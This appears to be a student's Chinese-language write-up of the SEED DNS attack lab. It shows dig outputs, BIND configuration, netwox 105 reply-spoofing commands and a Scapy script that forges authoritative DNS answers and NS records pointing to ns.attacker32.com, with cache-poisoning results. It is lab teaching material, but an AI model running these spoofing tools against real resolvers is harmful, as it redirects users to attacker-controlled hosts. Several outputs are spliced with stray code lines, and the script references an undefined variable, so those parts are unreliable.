

## Lab1

### Task1

```

root@VM:/home/seed# dig example.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18949
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 5

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:: udp: 4096
;; QUESTION SECTION:
;example.com.                IN      A

;; ANSWER SECTION:
example.com.                 86271   IN      A      93.184.216.34

;; AUTHORITY SECTION:
example.com.                 86271   IN      NS      b.iana-servers.net.
example.com.                 86271   IN      NS      a.iana-servers.net.

;; ADDITIONAL SECTION:
a.iana-servers.NET.         1671    IN      A      199.43.135.53
a.iana-servers.NET.         1671    IN      AAAA   2001:500:8f::53
b.iana-servers.NET.         1671    IN      A      199.43.133.53
b.iana-servers.NET.         1671    IN      AAAA   2001:500:8d::53

;; Query time: 1 msec
;; SERVER: 192.168.43.132#53(192.168.43.132)
;; WHEN: Wed Sep 16 22:44:30 EDT 2020
;; MSG SIZE rcvd: 212

```

在设置完用户的默认 DNS 地址为 192.168.43.132 (另一台虚拟机) 之后, dig example.com 下方的 SERVER 为所设置的服务器。

### Task2

在/etc/bind/bind.conf.option 中加入 dump-file, 并设置 dnssec 为 no

```

dnssec-enable no;
dump-file "/var/cache/bind/dump.db";
auth-nxdomain no; # conform to RFC1035

```

### Ping [www.google.com](http://www.google.com)

TIME	SENDER	DESTINATION	PROTOCOL	LENGTH	INFO
1	2020-09-16 22:57:13.07725	192.168.43.133	192.168.43.132	DNS	74 Standard query 0x341a A www.google.com
2	2020-09-16 22:57:13.07821	192.168.43.132	192.112.36.4	DNS	85 Standard query 0x42eb A www.google.com OPT
3	2020-09-16 22:57:13.07821	192.168.43.132	192.112.36.4	DNS	70 Standard query 0x700e NS <Root> OPT
4	2020-09-16 22:57:13.08732	192.112.36.4	192.168.43.132	DNS	101 Standard query response 0x42eb A www.google.com A 185.45.7.165 OPT
5	2020-09-16 22:57:13.08797	192.168.43.132	192.168.43.133	DNS	90 Standard query response 0x341a A www.google.com A 185.45.7.165
6	2020-09-16 22:57:13.08800	192.112.36.4	192.168.43.132	DNS	90 Standard query response 0x42eb A www.google.com A 54.89.135.129
7	2020-09-16 22:57:13.08823	192.168.43.133	185.45.7.165	ICMP	98 Echo (ping) request id=0x2424, seq=1/256, ttl=64 (no response found!)
8	2020-09-16 22:57:13.29226	192.112.36.4	192.168.43.132	DNS	70 Standard query response 0x700e NS <Root> OPT
9	2020-09-16 22:57:13.29289	192.168.43.132	192.112.36.4	TCP	74 41061 -> 53 [SYN] Seq=297586250 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TS
10	2020-09-16 22:57:13.29328	192.112.36.4	192.168.43.132	DNS	85 Standard query response 0x42eb A www.google.com OPT
11	2020-09-16 22:57:13.30234	192.112.36.4	192.168.43.132	TCP	54 53 -> 41061 [RST, ACK] Seq=0 Ack=297586251 Win=0 Len=0
12	2020-09-16 22:57:13.30330	192.168.43.132	202.12.27.33	DNS	70 Standard query 0x9a2b NS <Root> OPT
13	2020-09-16 22:57:13.30545	202.12.27.33	192.168.43.132	DNS	70 Standard query response 0x9a2b NS <Root> OPT

抓包显示用户首先向 DNSserver43.132 发送询问报文, 然后 DNSserver 开始逐步向其它 DNSserver 查询, 而 DNS cache 应该是在第一次查询后将结果缓存在 cache 中, 第二次查询的时候会自动先查找 cache

### Task3

增加了对 example.com 查询的 zone 之后:

```
[09/16/20]seed@VM:~/bind$ dig www.example.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43096
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADD
TIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags;; udp: 4096
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      192.168.0.101

;; AUTHORITY SECTION:
example.com.                    259200  IN      NS      ns.example.co
m.

;; ADDITIONAL SECTION:
ns.example.com.                259200  IN      A      192.168.0.10

;; Query time: 0 msec
;; SERVER: 192.168.43.132#53(192.168.43.132)
;; WHEN: Wed Sep 16 23:49:35 EDT 2020
;; MSG SIZE rcvd: 93
```

发现查询结果为刚才自定义的结果。这是因为由于自定义了 zone, DNSserver 会返回自己定义中设置的地址。

Task4

```

VM# dig www.bank32.com
udp = UDP(sport=7070, dport=9090)
; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.bank32.com
;; global options: +cmd
;; Got answer:
;;->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38778
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0
# Construct the entire packet and send it out
pkt = ip/udp/payload # For other fragments, we should use ip/payload
pkt(udp).checksum = 0 # Set the checksum field to zero
send(pkt, verbose=0)

;; QUESTION SECTION:
www.bank32.com.          IN      A
bank32.com.              IN      A

;; ANSWER SECTION:
www.bank32.com.          5        IN      CNAME    bank32.com.
bank32.com.              5        IN      A        34.102.136.180

;; Query time: 291 msec
;; SERVER: 127.0.1.1#53(127.0.1.1)
;; WHEN: Thu Sep 17 11:15:14 EDT 2020
;; MSG SIZE rcvd: 62

```

修改后 dig 发现没用

```

VM# ping www.bank32.com
PING www.bank32.com (192.168.43.133) 56(84) bytes of data.
From 192.168.43.132 icmp_seq=1 Destination Host Unreachable
From 192.168.43.132 icmp_seq=2 Destination Host Unreachable
From 192.168.43.132 icmp_seq=3 Destination Host Unreachable
^C
--- www.bank32.com ping statistics ---
5 packets transmitted, 0 received, +3 errors, 100% packet loss, time 4068ms
pipe 4
VM#

```

但是 ping 有用

Task5

```

[09/17/20]seed@VM: /bind$ sudo netwox 105 -h "www.example.com" -H "1.2.3.4" -a "ns
.example.com" -r "A 10 1.1.1.1"
DNS question
| id=25833 rcode=OK opcode=QUERY
| aa=0 tr=0 rd=1 ra=0 quest=1 answer=0 auth=0 add=1
| www.example.com. A
| . OPT UDPpl=4096 errcode=0 v=0 ...
# Construct the entire packet and send it out
pkt = ip/udp/payload # For other fragments, we should use ip/payload
pkt(udp).checksum = 0 # Set the checksum field to zero
send(pkt, verbose=0)
DNS answer
| id=25833 rcode=OK opcode=QUERY
| aa=1 tr=0 rd=1 ra=1 quest=1 answer=1 auth=1 add=1
| www.example.com. A
| www.example.com. A 10 1.2.3.4
| ns.example.com. NS 10 ns.example.com.
| ns.example.com. A 10 1.1.1.1

```

Time	Source	Destination	Protocol	Length	Info
1 2020-09-17 11:25:15.66707	192.168.43.133	192.168.43.132	DNS	86	Standard query 0x64e9 A www.example.com OPT
2 2020-09-17 11:25:15.66785	192.168.43.132	192.168.43.133	DNS	135	Standard query response 0x64e9 A www.example.com A 192.168.0.101 NS ns.example.com
3 2020-09-17 11:25:15.71345	192.168.43.132	192.168.43.133	DNS	130	Standard query response 0x64e9 A www.example.com A 1.2.3.4 NS ns.example.com A 1.1.1.1
4 2020-09-17 11:25:16.11389	192.168.43.133	192.168.43.132	ICMP	154	Destination unreachable (Port unreachable)

```

ANSWER RRs: 1
Authority RRs: 1
Additional RRs: 1
▶ Queries
▼ Answers
  ▶ www.example.com: type A, class IN, addr 1.2.3.4
▼ Authoritative nameservers
  ▶ ns.example.com: type NS, class IN, ns ns.example.com
- Additional records

Authority RRs: 1
Additional RRs: 2
Queries
▼ Answers
  ▶ www.example.com: type A, class IN, addr 192.168.0.101
▼ Authoritative nameservers
  ▶ example.com: type NS, class IN, ns ns.example.com
▼ Additional records
  ▶ ns.example.com: type A, class IN, addr 192.168.0.10
  ▶ ns.example.com: type NS, class IN, ns ns.example.com

```

可以看到抓到了两个 DNS 报文，1.2.3.4 先来，192.168.0.101 后来

```

cheng@cheng-virtual-machine:~$ dig www.example.com

; <>> DiG 9.16.1-Ubuntu <>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->HEADER<<- opcode: QUERY, status: NOERROR, id: 58720
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:;, udp: 65494
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                10      IN      A      1.2.3.4

;; Query time: 4 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: 五 9月 18 00:02:23 CST 2020
;; MSG SIZE rcvd: 60

cheng@cheng-virtual-machine:~$

```

Task6

```

root@VM:/home/seed# sudo netwox 105 -h "www.example.net" -H "4.3.2.1" -a "ns.example.
net" -A "2.2.2.2" \
> -f "src host 192.168.43.132" -d "ens33" -s "raw" -T 600
DNS question
id=33983 rcode=OK opcode=QUERY
aa=0 tr=0 rd=0 ra=0 quest=1 answer=0 auth=0 add=1
. NS
. OPT UDPPl=512 errcode=0 v=0 ...
DNS answer
id=33983 rcode=OK opcode=QUERY
aa=1 tr=0 rd=0 ra=0 quest=1 answer=1 auth=0 add=1
. NS
. NS 600 ns.example.net.
ns.example.net. A 600 2.2.2.2
DNS question
id=6191 rcode=OK opcode=QUERY
aa=0 tr=0 rd=0 ra=0 quest=1 answer=0 auth=0 add=1
E.ROOT-SERVERS.NET. AAAA
. OPT UDPPl=512 errcode=0 v=0 ...
DNS question
id=42437 rcode=OK opcode=QUERY
aa=0 tr=0 rd=0 ra=0 quest=1 answer=0 auth=0 add=1
G.ROOT-SERVERS.NET. AAAA
. OPT UDPPl=512 errcode=0 v=0 ...

```

```

; <>> DiG 9.16.1-Ubuntu <>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<- opcode: QUERY, status: NOERROR, id: 52808
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2
002072... 192.168.43.132 192.33.4.12 DNS 86 Standard que
;; OPT PSEUDOSECTION: 192.33.4.12 DNS 70 Standard que
; EDNS: version: 0, flags;; udp: 4096 4.12 DNS 89 Standard que
;; QUESTION SECTION: 192.33.4.12 DNS 89 Standard que
www.example.net. 12 1 IN 168.4.132 DNS 130 Standard que
034335... 192.33.4.12 192.168.43.132 DNS 102 Standard que
;; ANSWER SECTION: 192.33.4.12 192.168.43.131 DNS 134 Standard que
www.example.net. 4.12 600 1 IN 168.4.132 DNS 135 Standard que
;; AUTHORITY SECTION:
11, Src: VMware_00:f7:aa (00:0c:29:0b:f7:aa), Dst: VMware_f6:dc:24
t Protocol Version 4, Src: 192.168.43.132, Dst: 192.33.4.12
tagram Protocol, Src Port: 33333, Dst Port: 53
;; ADDITIONAL SECTION:
ns.example.net. 600 1 IN A 2.2.2.2
action ID: 0xf1f8
: 0x0010 Standard query
;; Query time: 36 msec
;; SERVER: 192.168.43.132#53(192.168.43.132)
;; WHEN: 五 9月 18 10:04:20 CST 2020

```

1 0.000000...	192.168.43.131	192.168.43.132	DNS	98	Standard query 0xce48 A www.example.net OPT
2 0.002072...	192.168.43.132	192.33.4.12	DNS	86	Standard query 0xef5b A www.example.net OPT
3 0.002078...	192.168.43.132	192.33.4.12	DNS	70	Standard query 0x61f9 NS <Root> OPT
4 0.002340...	192.168.43.132	192.33.4.12	DNS	89	Standard query 0xe74e AAAA E.ROOT-SERVERS.NET OPT
5 0.002374...	192.168.43.132	192.33.4.12	DNS	89	Standard query 0xf1f8 AAAA G.ROOT-SERVERS.NET OPT
6 0.034253...	192.33.4.12	192.168.43.132	DNS	130	Standard query response 0xef5b A www.example.net A 4.3.2.1 NS ns.example.net A 2.2.2.2
7 0.034335...	192.33.4.12	192.168.43.132	DNS	102	Standard query response 0x61f9 NS <Root> NS ns.example.net A 2.2.2.2
8 0.034672...	192.168.43.132	192.168.43.131	DNS	134	Standard query response 0xce48 A www.example.net A 4.3.2.1 NS ns.example.net A 2.2.2.2 OPT
9 0.219552...	192.33.4.12	192.168.43.132	DNS	135	Standard query response 0xe74e AAAA E.ROOT-SERVERS.NET AAAA 2001:500:a8::e OPT

```

; 20      pkt = ip/udp/payload # For other fragments, we should use ip/pay
; G.ROOT-SERVERS.NET [v6 TTL 1589] [v4 unexpected] [v6 success]
; 2001:500:12::d0d [srtt 13370] [flags 00000000] [edns 0/1/1/1/
; ns.example.net [v4 TTL 437] [v4 success] [v6 unexpected]
; 4.3.2.1 [srtt 435100] [flags 00000008] [edns 1/0/0/0/0] [plai
; E.ROOT-SERVERS.NET [v6 TTL 1589] [v4 unexpected] [v6 success]
; 2001:500:a8::e [srtt 11560] [flags 00000000] [edns 0/1/1/1/1]
;

```

查看 cacche 文件发现已被污染

## Task7

```

#!/usr/bin/python3
from scapy.all import *

def spoof_dns(pkt):
    pkt.show()
    IPpkt = IP(dst=pkt[IP].src, src = pkt[IP].dst)
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    Ansec = DNSRR(rrname=pkt[DNS].qd.name, type='A', ttl=259200, rdata='1.9.9.8')
    # The Authority Section
    NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='ns1.example.net')
    NSsec2 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='ns2.example.net')
    # The Additional Section
    Addsec1 = DNSRR(rrname='ns1.example.net', type='A', ttl=259200, rdata='1.2.3.4')
    Addsec2 = DNSRR(rrname='ns2.example.net', type='A', ttl=259200, rdata='5.6.7.8')

    NSsec = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='ns.attacker32.com')
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=2, an=Ansec, ns=NSsec, ar=Addsec)

    spopkt=IPpkt/UDPpkt/DNSpkt

    send(spopkt)

# Sniff UDP query packets and invoke spoof_dns().
pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)

```

```

Sent 1 packets.
###[ Ethernet ]###
  dst = 00:50:56:f6:dc:24
  src = 00:0c:29:0b:f7:aa
  type = IPv4
###[ IP ]###
  version = 4
  ihl = 5
  tos = 0x0
  len = 68
  id = 51942
  flags = DF
  frag = 0
  ttl = 64
  proto = udp
  chksum = 0x97eb
  src = 192.168.43.132
  dst = 192.168.43.2
  \options \
###[ UDP ]###
  sport = 65059
  dport = domain
  len = 48
  chksum = 0xd818
###[ DNS ]###
  id = 28289
  qr = 0
  opcode = QUERY
  aa = 0
  tc = 0
  rd = 1
  ra = 0
  z = 0
  ad = 0
  cd = 0
  rcode = ok
  qdcount = 1
  ancount = 0
  nscount = 0
  arcount = 0
  \qd \
###[ DNS Question Record ]###

```



```

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50932
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.example.net.                IN      A

;; ANSWER SECTION:
DNS\032Question\032Record. 259200 IN      A      1.9.9.8

;; AUTHORITY SECTION:
example.net.                    259200 IN      NS      ns.attacker32.com.
ns1.example.net.               259200 IN      A      1.2.3.4

;; ADDITIONAL SECTION:
ns2.example.net.               259200 IN      A      5.6.7.8

;; Query time: 73 msec
;; SERVER: 192.168.43.132#53(192.168.43.132)
;; WHEN: Thu Sep 17 22:41:52 EDT 2020
;; MSG SIZE rcvd: 172

```

成功伪造

```

; <<>> DiG 9.10.3-P4-Ubuntu <<>> mail.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35161
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;mail.example.net.                IN      A

;; ANSWER SECTION:
DNS\032Question\032Record. 259200 IN      A      1.9.9.8

;; AUTHORITY SECTION:
example.net.                    259200 IN      NS      ns.attacker32.com.
ns1.example.net.               259200 IN      A      1.2.3.4

;; ADDITIONAL SECTION:
ns2.example.net.               259200 IN      A      5.6.7.8

;; Query time: 61 msec
;; SERVER: 192.168.43.132#53(192.168.43.132)
;; WHEN: Thu Sep 17 22:46:57 EDT 2020
;; MSG SIZE rcvd: 173

```

发现整个 example.com 下的所有域名都被欺骗了，伪造成功